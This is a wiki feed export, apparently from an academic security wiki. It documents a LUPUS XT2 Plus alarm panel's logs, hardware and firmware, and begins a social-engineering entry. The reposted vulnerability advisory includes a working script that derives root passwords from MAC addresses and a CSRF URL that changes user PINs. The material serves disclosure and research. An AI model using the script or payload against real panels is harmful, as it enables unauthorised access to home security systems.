[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=170, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=172, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=174, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][ALRM]remove report: 5526&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=177, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=181, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=183, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=185, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=187, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CSQ&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CSQ: 99,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=191, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=193, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=195, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=197, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[ERR!][NET ]APNS connect fail&lt;br /&gt;
[INFO][RPT ]url=&#039;apns://0@9420d57ba5cdac9ec8a9c95714ad5d5b26eedd5147beb12f78d1f47c0d5b9e03/TEXT&#039;, ret=-702, reason=&#039;{LOG_MSG_RPT_SMS_FAIL}&#039;, event=383, text=&#039;Area 1  Zone 3 Küche Hinten 2: Sabotage&lt;br /&gt;
[INFO][RPT ]scheme:gcm:// host:APA91bEsVXbFspyyBj6wJHzT7xAjifb-sQqu5eR3nStDFgHtLClVb3ZtHKhg2gWvpDtO3O4ib2u4oUxBF_3Cn0SmuomU4GO_6OwDoo7cf483PVCVeT_OAuhg563i1jD5S2sfkd1dWhf7 port:80 acct:0&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=200, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=202, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=204, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=206, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[ERR!][NET ]http ssl send connect fail&lt;br /&gt;
[ERR!][WNET]GCM: ret=-99&lt;br /&gt;
[INFO][RPT ]url=&#039;gcm://0@APA91bEsVXbFspyyBj6wJHzT7xAjifb-sQqu5eR3nStDFgHtLClVb3ZtHKhg2gWvpDtO3O4ib2u4oUxBF_3Cn0SmuomU4GO_6OwDoo7cf483PVCVeT_OAuhg563i1jD5S2sfkd1dWhf7/TEXT&#039;, ret=-702, reason=&#039;{LOG_MS&lt;br /&gt;
[INFO][RPT ]scheme:gcm:// host:APA91bGDleDckmX774Lr87-bPuoVu-jJerUQ1HPDCqU0DZj71gL3OZwJzI_YgOV3CP6vb_A99KLdjV_885mN6y4CW7qzijZyo8BBo4HRq4twW7yGj7LNATFRtriYq3-QcMbArxhWUDTZ port:80 acct:0&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=209, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=211, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=213, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=216, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[ERR!][NET ]http ssl send connect fail&lt;br /&gt;
[ERR!][WNET]GCM: ret=-99&lt;br /&gt;
[INFO][RPT ]url=&#039;gcm://0@APA91bGDleDckmX774Lr87-bPuoVu-jJerUQ1HPDCqU0DZj71gL3OZwJzI_YgOV3CP6vb_A99KLdjV_885mN6y4CW7qzijZyo8BBo4HRq4twW7yGj7LNATFRtriYq3-QcMbArxhWUDTZ/TEXT&#039;, ret=-702, reason=&#039;{LOG_MS&lt;br /&gt;
[INFO][RPT ]reporting end&lt;br /&gt;
[INFO][RPT ]reporting start&lt;br /&gt;
[DBG ][RPT ]retry #0&lt;br /&gt;
[DBG ][RPT ]filter ignore:&#039;apns://0@9420d57ba5cdac9ec8a9c95714ad5d5b26eedd5147beb12f78d1f47c0d5b9e03/TEXT&#039;&lt;br /&gt;
[DBG ][RPT ]filter ignore:&#039;gcm://0@APA91bEsVXbFspyyBj6wJHzT7xAjifb-sQqu5eR3nStDFgHtLClVb3ZtHKhg2gWvpDtO3O4ib2u4oUxBF_3Cn0SmuomU4GO_6OwDoo7cf483PVCVeT_OAuhg563i1jD5S2sfkd1dWhf7/TEXT&#039;&lt;br /&gt;
[DBG ][RPT ]filter ignore:&#039;gcm://0@APA91bGDleDckmX774Lr87-bPuoVu-jJerUQ1HPDCqU0DZj71gL3OZwJzI_YgOV3CP6vb_A99KLdjV_885mN6y4CW7qzijZyo8BBo4HRq4twW7yGj7LNATFRtriYq3-QcMbArxhWUDTZ/TEXT&#039;&lt;br /&gt;
[INFO][RPT ]reporting end&lt;br /&gt;
[INFO][ALRM]report ok: id=6525&lt;br /&gt;
[INFO][ALRM]report ok: id=6526&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][ALRM]HA regular check time: now=1970/1/1 1:16:0&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Zigbee&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The board offers a provided interface to update the ZB component. This is marked with the label &amp;quot;ZB-UPDATE&amp;quot;. These 6 consecutive holes can be found on the front view of the PCB at the bottom left. The actual ZB module is located on the back. This is a [[http://climax.com.tw/zbh-sa.php|ZBH-SA]] v1.1 module from Climax, built together with Texas Instruments&#039; CC530 wireless SoC and CC2592 range extender as the core. The module is distributed under the FCC ID [[https://fccid.io/GX9ZBH-SA|GX9ZBH-SA]] and a number of documents, such as user manuals and internal photos, can be viewed at [[https://fccid.io/GX9ZBH-SA|FCC]].&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
TODO: Photo&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The module has a &amp;quot;Winbond 25Q16DVSIG&amp;quot; serial flash memory chip with SPI in package type SOP8. This type of chip can be used without soldering with a corresponding SOP8 clip (TODO: Link) which is connected to the external leads and read by a suitable programmer (TODO: Link) to get the current firmware.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;MCU&amp;lt;/h3&amp;gt;&lt;br /&gt;
There is another processor located at the bottom right of the PCB front view. This chips is a Megawin &amp;quot;MPC89L515AF&amp;quot; Microcontroller, 8-Bit, FLASH, 8051 CPU, 45MHz, CMOS and PQFP44 package.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Firmware&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Download&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;h5&amp;gt;Current Version&amp;lt;/h5&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT1 Plus Main Panel&amp;lt;/u&amp;gt;: https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT1-Plus-Starter-Kit-p.html#Downloads&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT2 Main Panel&amp;lt;/u&amp;gt;: https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT2-Plus-Main-Panel-p.html#Downloads&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT2 Plus Main Panel&amp;lt;/u&amp;gt;: https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT2-Plus-Main-Panel-p.html#Downloads&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT3 Main Panel&amp;lt;/u&amp;gt;: https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUSEC-XT3-Main-Panel-p.html#Downloads&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Vendor&#039;s Note&amp;lt;/b&amp;gt;: Please always delete your browsers cache after installation.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h5&amp;gt;Known Versions&amp;lt;/h5&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT1 Plus Main Panel&amp;lt;/u&amp;gt;:&lt;br /&gt;
* v0.0.3.2B: https://www.lupus-electronics.de/shop/documents/XT1Plus_lu-0.0.3.2B.zip (Accessed 29. Febuary 2020)&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT2 Main Panel&amp;lt;/u&amp;gt;:&lt;br /&gt;
* v0.0.3.2B: https://www.lupus-electronics.de/shop/documents/XT2_lu-0.0.3.2B.zip (Accessed 29. Febuary 2020)&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT2 Plus Main Panel&amp;lt;/u&amp;gt;:&lt;br /&gt;
* v0.0.3.2B: https://www.lupus-electronics.de/shop/documents/XT2Plus_lu-0.0.3.2B.zip (Accessed 29. Febuary 2020)&lt;br /&gt;
* v0.0.2.19E: No download available.&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT3 Main Panel&amp;lt;/u&amp;gt;:&lt;br /&gt;
* v0.1.3.2B: https://www.lupus-electronics.de/shop/documents/XT3_lu-0.1.3.2B.zip (Accessed 29. Febuary 2020)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Extraction&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Smart Home Alarm Panel&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
$ binwalk -Mre  --dd=&amp;quot;.*&amp;quot; hpgw.bin&lt;br /&gt;
&lt;br /&gt;
MD5 Checksum:  badf860594c668b937bff2559ef79313&lt;br /&gt;
Signatures:    391&lt;br /&gt;
&lt;br /&gt;
DECIMAL       HEXADECIMAL     DESCRIPTION&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
1279234       0x138502        Unix path: /sys/bus/usb/devices&lt;br /&gt;
1279309       0x13854D        Unix path: /sys/bus/usb/devices/1-1:1.0/uevent&lt;br /&gt;
1290407       0x13B0A7        Ubiquiti firmware header, third party, ~CRC32: 0x61626C65, version: &amp;quot;_PIPE_FAIL&amp;quot;&lt;br /&gt;
1301308       0x13DB3C        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1302108       0x13DE5C        Unix path: /sys/bus/usb/devices/usb1/authorized&lt;br /&gt;
1316976       0x141870        Neighborly text, &amp;quot;neighbor_zr&amp;quot;&lt;br /&gt;
1317004       0x14188C        Neighborly text, &amp;quot;NeighborRouter_%sSignal&amp;quot;&lt;br /&gt;
1322284       0x142D2C        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1322432       0x142DC0        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1336546       0x1464E2        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1336826       0x1465FA        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1337334       0x1467F6        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1343521       0x148021        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1349090       0x1495E2        Unix path: /etc/ppp/pap-secrets&lt;br /&gt;
1350445       0x149B2D        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1351752       0x14A048        Base64 standard index table&lt;br /&gt;
1351832       0x14A098        Base64 standard index table&lt;br /&gt;
1363367       0x14CDA7        Neighborly text, &amp;quot;neighbor_zr&amp;quot;: &amp;quot;%s&amp;quot;, %s&amp;quot;, &amp;quot;&lt;br /&gt;
1363495       0x14CE27        Neighborly text, &amp;quot;neighbor_zr&amp;quot;: &amp;quot;%s&amp;quot;}g_st&amp;quot;: %d&amp;quot;&lt;br /&gt;
1389083       0x15321B        HTML document header&lt;br /&gt;
1390640       0x153830        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1391103       0x1539FF        Unix path: /usr/share/udhcpc&lt;br /&gt;
1408086       0x157C56        PEM certificate&lt;br /&gt;
1409330       0x158132        PEM certificate&lt;br /&gt;
1410214       0x1584A6        PEM EC private key&lt;br /&gt;
1410594       0x158622        PEM certificate&lt;br /&gt;
1411410       0x158952        PEM EC private key&lt;br /&gt;
1411646       0x158A3E        PEM certificate&lt;br /&gt;
1412478       0x158D7E        PEM EC private key&lt;br /&gt;
1412742       0x158E86        PEM certificate&lt;br /&gt;
1414050       0x1593A2        PEM RSA private key&lt;br /&gt;
1415850       0x159AAA        PEM certificate&lt;br /&gt;
1417050       0x159F5A        PEM RSA private key&lt;br /&gt;
1418758       0x15A606        PEM certificate&lt;br /&gt;
1419970       0x15AAC2        PEM RSA private key&lt;br /&gt;
1421706       0x15B18A        PEM certificate&lt;br /&gt;
1423012       0x15B6A4        PEM certificate&lt;br /&gt;
1445661       0x160F1D        PEM RSA private key&lt;br /&gt;
1445725       0x160F5D        PEM EC private key&lt;br /&gt;
1448201       0x161909        SHA256 hash constants, little endian&lt;br /&gt;
1450717       0x1622DD        Base64 standard index table&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Vulnerability Reports&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;CVE1&amp;quot; class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.0;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Title&amp;lt;/b&amp;gt;: Various vulnerabilities in Lupusec XT2 Plus home alarm system&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;From&amp;lt;/b&amp;gt;: Dan Fabian &amp;lt;dan.fabian@gmail com&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Date&amp;lt;/b&amp;gt;: Thu, 4 Apr 2019 09:20:46 +0200&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
=======================================================================&lt;br /&gt;
              title: Multiple Vulnerabilities&lt;br /&gt;
            product: Lupusec XT2 Plus Main Panel&lt;br /&gt;
            version: Firmware 0.0.2.19E&lt;br /&gt;
           homepage: https://www.lupus-electronics.de/&lt;br /&gt;
              found: 01/2019&lt;br /&gt;
                 by: D. Fabian&lt;br /&gt;
=======================================================================&lt;br /&gt;
&lt;br /&gt;
Vendor description:&lt;br /&gt;
-------------------&lt;br /&gt;
&amp;quot;The new LUPUSEC-XT2 Plus is an innovative burglar alarm, smart home,&lt;br /&gt;
and video surveillance system that is reliable, easy to use, and&lt;br /&gt;
extremely versatile. It is the operating system for your building.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Source:&lt;br /&gt;
https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUSEC-XT2-Plus-Main-Panel-p.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerability description:&lt;br /&gt;
-----------------------------------&lt;br /&gt;
1) Shared SSL certificate&lt;br /&gt;
All devices share the same SSL key. Anyone who is capable of&lt;br /&gt;
downloading the firmware off the internet can perform a MITM attack.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2) Root password derived from MAC address&lt;br /&gt;
While the root password is unique per device, it is derived from the&lt;br /&gt;
MAC address and can be fairly easily calculated off a hard-coded&lt;br /&gt;
secret. The panel runs a telnet server on port 55023, where the&lt;br /&gt;
calculated root password works. Additionally&lt;br /&gt;
https://alarm/action/welcomeGet discloses the MAC address without&lt;br /&gt;
authentication over the web interface. In combination, all of this is&lt;br /&gt;
sufficient to authenticate as root to any XT2 device exposed directly&lt;br /&gt;
on the internet.&lt;br /&gt;
&lt;br /&gt;
The below small Python script returns the root password for the given&lt;br /&gt;
MAC address.&lt;br /&gt;
&lt;br /&gt;
import hashlib&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
mac = &amp;quot;001122aabbcc&amp;quot; # MAC address without colons in all lowercase&lt;br /&gt;
x = &amp;quot;7jBhPZVbCJMrS9qg6KtxzHR5T2dk3NmvQ4WDywFsYpXnc8Gf&amp;quot;&lt;br /&gt;
y = &amp;quot;5156&amp;quot; + mac + &amp;quot;2759&amp;quot;&lt;br /&gt;
digest = hashlib.sha256()&lt;br /&gt;
digest.update(y)&lt;br /&gt;
z = digest.digest()&lt;br /&gt;
sys.stdout.write(x[ord(z[5]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[7]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[28]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[6]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[24]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[15]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[13]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[16]) % len(x)])&lt;br /&gt;
&lt;br /&gt;
sys.stdout.flush()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3) Configuration including passwords downloadable without authentication&lt;br /&gt;
If the configuration of the device has been exported since the&lt;br /&gt;
previous reboot, it can be downloaded without authentication via&lt;br /&gt;
https://alarm/temp/config.tar.gz. The configuration contains PINs,&lt;br /&gt;
user passwords, and all other configuration settings. Passwords and&lt;br /&gt;
PINs are &amp;quot;encrypted&amp;quot; using a simple substitution cipher.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4) XML API vulnerable to CSRF&lt;br /&gt;
The XML API accepts requests via both GET and POST, and does not&lt;br /&gt;
require CSRF tokens. E.g. the following request sets the PIN of user 5&lt;br /&gt;
to 4444. The MAC address is publicly disclosed via the web interface&lt;br /&gt;
per issue #2.&lt;br /&gt;
&lt;br /&gt;
https://alarm/action/xmlCmd?strXML=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0A%3Cp%3E%0A++%3Cmac+v%3D%2200%3A11%3A22%3A33%3A44%3A44%22%2F%3E%0A++%3Ccmds%3E%0A%3Ccmd+a%3D%22setUser%22%3E%0A%3Carea+v%3D%221%22%2F%3E%0A%3Cno+v%3D%225%22%2F%3E%0A%3Ccode+v%3D%224444%22%2F%3E%0A%3Cname+v%3D%22test%22%2F%3E%0A%3Clatch+v%3D%220%22%2F%3E%0A%3C%2Fcmd%3E%0A++%3C%2Fcmds%3E%0A%3C%2Fp%3E&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vendor contact timeline:&lt;br /&gt;
------------------------&lt;br /&gt;
2019-01-09: Contacted the vendor&lt;br /&gt;
2019-01-09: Vendor reply saying that the issues are known and should be fixed&lt;br /&gt;
            in the new firmware release.&lt;br /&gt;
2019-03-26: Vendor reply saying the new firmware was released&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Solution:&lt;br /&gt;
---------&lt;br /&gt;
Per the vendor’s recommendation, update the firmware to version v0.0.3.0.&lt;br /&gt;
&lt;br /&gt;
Note that I didn’t verify whether the issues are indeed resolved in&lt;br /&gt;
the new version. Either way it’s probably a good idea to only expose&lt;br /&gt;
the device through a VPN.&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Used Hardware&amp;lt;/h1&amp;gt;&lt;br /&gt;
* [[LUPUS - XT2 Plus Main Panel]]&lt;br /&gt;
* [[LUPUSEC - Outdoor siren V2]]&lt;br /&gt;
* [[LUPUSEC - Remote Control]]&lt;br /&gt;
* [[LUPUSEC - Door Contact V1 (EOL)]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;References&amp;lt;/h1&amp;gt;&lt;br /&gt;
* https://www.lupus-electronics.de/ (Accessed 25. Febuary 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/en/smart-home/ (Accessed 27. Febuary 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT1-Plus-Starter-Kit-p.html (Accessed 1. March 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT2-Plus-Main-Panel-p.html (Accessed 25. Febuary 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUSEC-XT3-Main-Panel-p.html (Accessed 1. March 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Sirens/LUPUSEC-Outdoor-siren-V2-p.html (Accessed 1. March 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Classic-XT1-Sensoren/LUPUSEC-Remote-control-p.html (Accessed 1. March 2020)&lt;br /&gt;
* https://seclists.org/bugtraq/2019/Apr/7 (Accessed 25. Febuary 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/en/service/eol-product-downloads/ (Accessed 25. Febuary 2020)&lt;br /&gt;
* https://www.av-test.org/en/ (Accessed 27. Febuary 2020)&lt;br /&gt;
* http://www.climax.com.tw/ (Accessed 29. Febuary 2020)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Social_Engineering_%26_Phishing_Platform&amp;diff=14606</id>
		<title>Social Engineering &amp; Phishing Platform</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Social_Engineering_%26_Phishing_Platform&amp;diff=14606"/>
		<updated>2024-03-12T17:22:29Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Social Engineering ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Social Engineering&#039;&#039;&#039; is a kind of cyber attack that influences a person to take an action that may or may not be in their best interests, according to Hadnagy. It relies on psychological manipulation with the goal of making individuals perform actions or share confidential information.&lt;br /&gt;
&lt;br /&gt;
=== Social Engineering Attack Cycle ===&lt;br /&gt;
&lt;br /&gt;
Social engineering is a process that requires a deep understanding of psychology, keen senses, and tons of research in order to gain trust and access. The cycle typically involves the following stages:&lt;br /&gt;
;Research&lt;br /&gt;
: Gathering information about the target before initiating any communication. This includes studying freely accessible websites, social media profiles, and other public sources. &lt;br /&gt;
;Developing a Relationship&lt;br /&gt;
: Applying the information from the “research” stage, to establish trust or authority with the target. The goal is to convince the target to provide information or grant access seemingly of their own free will.&lt;br /&gt;
;Exploiting the Connection&lt;br /&gt;
: Asking for the desired action or information while maintaining the target&#039;s trust to avoid suspicion.&lt;br /&gt;
;Utilizing Information&lt;br /&gt;
